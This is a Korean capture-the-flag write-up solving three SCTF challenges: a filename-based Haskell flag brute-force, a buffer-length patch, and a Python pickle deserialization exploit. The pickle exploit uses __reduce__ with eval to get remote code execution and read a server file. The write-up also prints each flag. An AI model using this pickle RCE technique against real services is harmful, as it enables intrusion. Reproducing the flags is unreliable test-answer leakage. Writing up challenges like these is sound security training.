Attack - Easyhaskell(200 pts)




문제를 확인해보면 Haskell로 짜여진 바이너리인 것 같다. 문제 설명의 플래그를 확인해보면 뭔가 암호화 된 것 같다. 이를 분석하기 위해 IDA로 열어보았으나, 함수가 너무 많고 알아볼 수 없어 실행을 시켜보았더니 플래그 포맷과 비슷한 문자열이 나타났다. 실행 시 argv에 값을 넣어봐도 변하지 않는 것과, stdin 등으로 입력을 받는 부분이 없는 것으로 보아 파일명을 이용하여 암호화를 할 것이라고 생각했다.




파일명을 바꿔서 실행시켜보니 예상했던대로 다른 문자열이 나타났다. 플래그 포맷이 SCTF{...}이기 때문에 SCTF{로 파일명을 바꿔 보냈더니 플래그와 일치하는 부분이 나타났다. 이를 이용하여 브루트포싱 스크립트를 작성하여 플래그를 얻어냈다.






#coding: utf-8
import os, re
import time

flag = "=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5"
goal = "=ze=/<f"

strings = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*-=+~?"

while 1:
       n = raw_input(">> ")
       name = ""
       for i in strings:
               l = os.listdir('.')
               for j in l:
                       if "SCTF" in j:
                               name = j
               next = "SCTF{"+n+i+"}"
               os.rename(name, next)
               print next
               p = os.popen("./"+next).read()
               print p
               if goal in p:
                       print next
                       break
               time.sleep(0.05)

payload.py


FLAG : SCTF{D0_U_KNoW_fUnc10N4L_L4n9U4g3?}

Defense - Dfa(100 pts)



Dfa 문제는 1개의 취약점을 가진 소스를 던져준다. 이 소스에서 취약점을 발견하여 패치 한 후 서버로 패치된 소스를 넘기면 플래그를 얻을 수 있다. 일반적으로 스택이나 힙에서 발생하는 취약점의 경우 길이에 관련된 경우가 많기 때문에 node를 추가하거나 삭제하는 부분에서의 길이 검증 루틴에서 취약점이 발생할 것이라 생각하고 add_node 함수 부분에서 linebuf 변수의 길이를 0x100에서 0x1000으로 늘려주었다. 그리고 아래와 같은 페이로드를 작성하여 플래그를 획득할 수 있었다.



#coding: utf-8
from pwn import *
import sys
import base64

r = remote("dfa.eatpwnnosleep.com", 9999)
print r.recvuntil("finish\n")
r.sendline("auto.c")
print r.recvuntil("base64 : ")

with open("in.txt","r") as f:
       src = f.read()

data = base64.b64encode(src)
print data
r.sendline(data)
print r.recvuntil("good\n")
print r.recvuntil("runner.c\n")
print r.recvuntil("pass\n")
while 1:
       print r.recv(1),

payload.py


FLAG : SCTF{simple patch tutorial}

Attack - Readflag(100 pts)


readFlag.tar의 압축을 풀어보면 dump.py와 send.sh가 있는 것을 확인 할 수 있다. 각각의 소스는 아래와 같다.


from pickle import dumps


print dumps([1, 2, 3])+'#'

dump.py


#!/bin/bash
python dump.py | nc 0 55402


send.sh


이는 dump.py에서 pickle 모듈을 이용하여 pickling을 한 후 55402 포트로 해당 데이터를 보내는 것을 확인 할 수 있다. 여기에서 dump.py 대신에 pickle 취약점을 이용한 공격코드를 작성하여 pickling 한 후 해당 서버로 데이터를 전송한다면 RCE가 가능하다.


#coding: utf-8
from pwn import *
from cPickle import dumps
import os

payload = "open('test.py').read()"

class exploit(object):
       def __reduce__(self):
               return (eval, (payload,))

pd = dumps(exploit())
r = remote("readflag.eatpwnnosleep.com", 55402)

r.send(pd+"#")
print r.recv(2048)

payload.py


위와 같이 페이로드를 작성하여 날려주면 __reduce__메소드에서 튜플의 형태로 함수 또한 리턴하며 원격 서버에서 RCE가 발생한다. 이 때, 의도적으로 오류를 발생시킬 경우 서버의 파일명인 “test.py”를 알 수 있으며, 이를 open하여 파일의 내용을 읽어올 수 있다.

굳이 이렇게 사용하지 않고 __file__이나 sys.argv를 사용하여 실행되는 파일명을 알아낼수도 있다.

test.py 안의 내용을 살펴보면 flag를 얻어낼 수 있다.


FLAG : SCTF{3a5y_e4zy_p1ckl1ng}

+ Recent posts